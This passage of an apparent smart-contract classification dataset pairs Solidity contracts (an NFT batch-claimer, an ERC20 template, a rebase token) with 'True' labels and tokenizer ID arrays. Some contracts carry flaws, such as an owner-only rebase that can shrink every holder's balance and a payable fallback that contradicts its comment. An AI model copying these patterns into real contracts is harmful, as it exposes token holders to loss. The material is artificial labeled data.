19666, 6906, 14680, 1012, 5136, 2478, 1008, 1063, 2128, 4765, 5521, 5666, 18405, 1065, 2030, 1996, 1008, 16770, 1024, 1013, 1013, 5024, 3012, 1012, 3191, 23816, 10085, 2015, 1012, 22834, 1013, 4372, 1013, 1058, 2692, 1012, 1019, 1012, 2340, 1013, 3036, 1011, 16852, 1012, 16129, 1001, 2224, 1011, 1996, 1011, 14148, 1011, 3896, 1011, 10266, 1011, 5418, 1031, 14148, 1011, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface LootContract { function claim(uint256 tokenId) external; function safeTransferFrom(address from, address to, uint256 tokenId) external; function ownerOf(uint256 tokenId) external view returns (address); } interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } contract MultiMap is IERC721Receiver { LootContract _lootContract = LootContract(0x1dfe7Ca09e99d10835Bf73044a23B73Fc20623DF); function getMultiLoot(uint256[] calldata tokenIds) public { uint256 mintedAmount = 0; for (uint i = 0; i < tokenIds.length; i++) { try _lootContract.claim(tokenIds[i]) { _lootContract.safeTransferFrom(address(this), msg.sender, tokenIds[i]); mintedAmount++; } catch { } } } function onERC721Received(address, address, uint256, bytes memory) public virtual override returns (bytes4) { return this.onERC721Received.selector; } }	True	[ 101, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 8278, 8840, 4140, 8663, 6494, 6593, 1063, 3853, 4366, 1006, 21318, 3372, 17788, 2575, 19204, 3593, 1007, 6327, 1025, 3853, 3647, 6494, 3619, 7512, 19699, 5358, 1006, 4769, 2013, 1010, 4769, 2000, 1010, 21318, 3372, 17788, 2575, 19204, 3593, 1007, 6327, 1025, 3853, 3954, 11253, 1006, 21318, 3372, 17788, 2575, 19204, 3593, 1007, 6327, 3193, 5651, 1006, 4769, 1007, 1025, 1065, 8278, 29464, 11890, 2581, 17465, 2890, 3401, 16402, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 7188, 2019, 1063, 29464, 11890, 2581, 17465, 1065, 1036, 19204, 3593, 1036, 19204, 2003, 4015, 2000, 2023, 3206, 3081, 1063, 29464, 11890, 2581, 17465, 1011, 3647, 6494, 3619, 7512, 19699, 5358, 1065, 1008, 2011, 1036, 6872, 1036, 2013, 1036, 2013, 1036, 1010, 2023, 3853, 2003, 2170, 1012, 1008, 1008, 2009, 2442, 2709, 2049, 5024, 3012, 27000, 2000, 12210, 1996, 19204, 4651, 1012, 1008, 2065, 2151, 2060, 3643, 2003, 2513, 2030, 1996, 8278, 2003, 2025, 7528, 2011, 1996, 7799, 1010, 1996, 4651, 2097, 2022, 16407, 1012, 1008, 1008, 1996, 27000, 2064, 2022, 4663, 1999, 5024, 3012, 2007, 1036, 29464, 11890, 2581, 17465, 1012, 2028, 11890, 2581, 17465, 2890, 3401, 3512, 2094, 1012, 27000, 1036, 1012, 1008, 1013, 3853, 2028, 11890, 2581, 17465, 2890, 3401, 3512, 2094, 1006, 4769, 6872, 1010, 4769, 2013, 1010, 21318, 3372, 17788, 2575, 19204, 3593, 1010, 27507, 2655, 2850, 2696, 2951, 1007, 6327, 5651, 1006, 27507, 2549, 1007, 1025, 1065, 3206, 4800, 2863, 2361, 2003, 29464, 11890, 2581, 17465, 2890, 3401, 16402, 1063, 8840, 4140, 8663, 6494, 6593, 1035, 8840, 4140, 8663, 6494, 6593, 1027, 8840, 4140, 8663, 6494, 6593, 1006, 1014, 2595, 2487, 20952, 2063, 2581, 3540, 2692, 2683, 2063, 2683, 2683, 2094, 10790, 2620, 19481, 29292, 2581, 14142, 22932, 2050, 21926, 2497, 2581, 2509, 11329, 11387, 2575, 21926, 20952, 1007, 1025, 3853, 2131, 12274, 7096, 22360, 4140, 1006, 21318, 3372, 17788, 2575, 1031, 1033, 2655, 2850, 2696, 19204, 9821, 1007, 2270, 1063, 21318, 3372, 17788, 2575, 12927, 11960, 20048, 1027, 1014, 1025, 2005, 1006, 21318, 3372, 1045, 1027, 1014, 1025, 1045, 1026, 19204, 9821, 1012, 3091, 1025, 1045, 1009, 1009, 1007, 1063, 3046, 1035, 8840, 4140, 8663, 6494, 6593, 1012, 4366, 1006, 19204, 9821, 1031, 1045, 1033, 1007, 1063, 1035, 8840, 4140, 8663, 6494, 6593, 1012, 3647, 6494, 3619, 7512, 19699, 5358, 1006, 4769, 1006, 2023, 1007, 1010, 5796, 2290, 1012, 4604, 2121, 1010, 19204, 9821, 1031, 1045, 1033, 1007, 1025, 12927, 11960, 20048, 1009, 1009, 1025, 1065, 4608, 1063, 1065, 1065, 1065, 3853, 2028, 11890, 2581, 17465, 2890, 3401, 3512, 2094, 1006, 4769, 1010, 4769, 1010, 21318, 3372, 17788, 2575, 1010, 27507, 3638, 1007, 2270, 7484, 2058, 15637, 5651, 1006, 27507, 2549, 1007, 1063, 2709, 2023, 1012, 2028, 11890, 2581, 17465, 2890, 3401, 3512, 2094, 1012, 27000, 1025, 1065, 1065, 102, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
pragma solidity ^0.4.18; // ---------------------------------------------------------------------------- // 'name' token contract // // Deployed to : your address // Symbol : stock market term // Name : Name // Total supply: 100000000 // Decimals : 18 // // Enjoy. // // (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence. // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 \|\| c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract Extreme is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function Extreme() public { symbol = "XT"; name = "Extreme"; decimals = 18; _totalSupply = 5000000000000000000000000; balances[0x4DFD4C3D70A13B491B2F10FBB26e3BD2BaD5e93f] = _totalSupply; //MEW address here Transfer(address(0), 0x4DFD4C3D70A13B491B2F10FBB26e3BD2BaD5e93f, _totalSupply);//MEW address here } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }	True	[ 101, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2324, 1025, 1013, 1013, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1013, 1013, 1005, 2171, 1005, 19204, 3206, 1013, 1013, 1013, 1013, 7333, 2000, 1024, 2115, 4769, 1013, 1013, 6454, 1024, 4518, 3006, 2744, 1013, 1013, 2171, 1024, 2171, 1013, 1013, 2561, 4425, 1024, 6694, 8889, 8889, 2692, 1013, 1013, 26066, 2015, 1024, 2324, 1013, 1013, 1013, 1013, 5959, 1012, 1013, 1013, 1013, 1013, 1006, 1039, 1007, 2011, 28461, 5658, 2080, 2007, 8945, 19658, 22571, 9541, 24206, 1013, 8945, 2243, 10552, 13866, 2100, 5183, 8740, 2418, 1012, 1996, 10210, 11172, 1012, 1013, 1013, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1013, 1013, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1013, 1013, 3647, 8785, 2015, 1013, 1013, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 3206, 3647, 18900, 2232, 1063, 3853, 3647, 4215, 2094, 1006, 21318, 3372, 1037, 1010, 21318, 3372, 1038, 1007, 2270, 5760, 5651, 1006, 21318, 3372, 1039, 1007, 1063, 1039, 1027, 1037, 1009, 1038, 1025, 5478, 1006, 1039, 1028, 1027, 1037, 1007, 1025, 1065, 3853, 3647, 6342, 2497, 1006, 21318, 3372, 1037, 1010, 21318, 3372, 1038, 1007, 2270, 5760, 5651, 1006, 21318, 3372, 1039, 1007, 1063, 5478, 1006, 1038, 1026, 1027, 1037, 1007, 1025, 1039, 1027, 1037, 1011, 1038, 1025, 1065, 3853, 3647, 12274, 2140, 1006, 21318, 3372, 1037, 1010, 21318, 3372, 1038, 1007, 2270, 5760, 5651, 1006, 21318, 3372, 1039, 1007, 1063, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
pragma solidity 0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable { address public _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () public { _owner = msg.sender; emit OwnershipTransferred(address(0), msg.sender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == msg.sender, "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract SaltyFinance is Ownable { using SafeMath for uint256; event LogRebase(uint256 indexed epoch, uint256 totalSupply); modifier validRecipient(address to) { require(to != address(this)); _; } event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); string public constant name = "salty.finance"; string public constant symbol = "SLT"; uint256 public constant decimals = 18; uint256 private constant DECIMALS = 18; uint256 private constant MAX_UINT256 = ~uint256(0); uint256 private constant INITIAL_FRAGMENTS_SUPPLY = 10000 * 10**DECIMALS; uint256 private constant TOTAL_GONS = MAX_UINT256 - (MAX_UINT256 % INITIAL_FRAGMENTS_SUPPLY); uint256 private constant MAX_SUPPLY = ~uint128(0); uint256 private _totalSupply; uint256 private _gonsPerFragment; mapping(address => uint256) private _gonBalances; mapping (address => mapping (address => uint256)) private _allowedFragments; function rebase(uint256 epoch, uint256 supplyDelta) external onlyOwner returns (uint256) { if (supplyDelta == 0) { emit LogRebase(epoch, _totalSupply); return _totalSupply; } _totalSupply = _totalSupply.sub(supplyDelta); if (_totalSupply > MAX_SUPPLY) { _totalSupply = MAX_SUPPLY; } _gonsPerFragment = TOTAL_GONS.div(_totalSupply); emit LogRebase(epoch, _totalSupply); return _totalSupply; } constructor() public override { _owner = msg.sender; _totalSupply = INITIAL_FRAGMENTS_SUPPLY; _gonBalances[_owner] = TOTAL_GONS; _gonsPerFragment = TOTAL_GONS.div(_totalSupply); emit Transfer(address(0x0), _owner, _totalSupply); } function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address who) public view returns (uint256) { return _gonBalances[who].div(_gonsPerFragment); } function transfer(address to, uint256 value) public validRecipient(to) returns (bool) { uint256 gonValue = value.mul(_gonsPerFragment); _gonBalances[msg.sender] = _gonBalances[msg.sender].sub(gonValue); _gonBalances[to] = _gonBalances[to].add(gonValue); emit Transfer(msg.sender, to, value); return true; } function allowance(address owner_, address spender) public view returns (uint256) { return _allowedFragments[owner_][spender]; } function transferFrom(address from, address to, uint256 value) public validRecipient(to) returns (bool) { _allowedFragments[from][msg.sender] = _allowedFragments[from][msg.sender].sub(value); uint256 gonValue = value.mul(_gonsPerFragment); _gonBalances[from] = _gonBalances[from].sub(gonValue); _gonBalances[to] = _gonBalances[to].add(gonValue); emit Transfer(from, to, value); return true; } function approve(address spender, uint256 value) public returns (bool) { _allowedFragments[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _allowedFragments[msg.sender][spender] = _allowedFragments[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, _allowedFragments[msg.sender][spender]); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { uint256 oldValue = _allowedFragments[msg.sender][spender]; if (subtractedValue >= oldValue) { _allowedFragments[msg.sender][spender] = 0; } else { _allowedFragments[msg.sender][spender] = oldValue.sub(subtractedValue); } emit Approval(msg.sender, spender, _allowedFragments[msg.sender][spender]); return true; } }	True	[ 101, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1020, 1012, 1014, 1025, 3075, 3647, 18900, 2232, 1063, 3853, 5587, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1009, 1038, 1025, 5478, 1006, 1039, 1028, 1027, 1037, 1010, 1000, 3647, 18900, 2232, 1024, 2804, 2058, 12314, 1000, 1007, 1025, 2709, 1039, 1025, 1065, 3853, 4942, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 2709, 4942, 1006, 1037, 1010, 1038, 1010, 1000, 3647, 18900, 2232, 1024, 4942, 6494, 7542, 2058, 12314, 1000, 1007, 1025, 1065, 3853, 4942, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1010, 5164, 3638, 7561, 7834, 3736, 3351, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 5478, 1006, 1038, 1026, 1027, 1037, 1010, 7561, 7834, 3736, 3351, 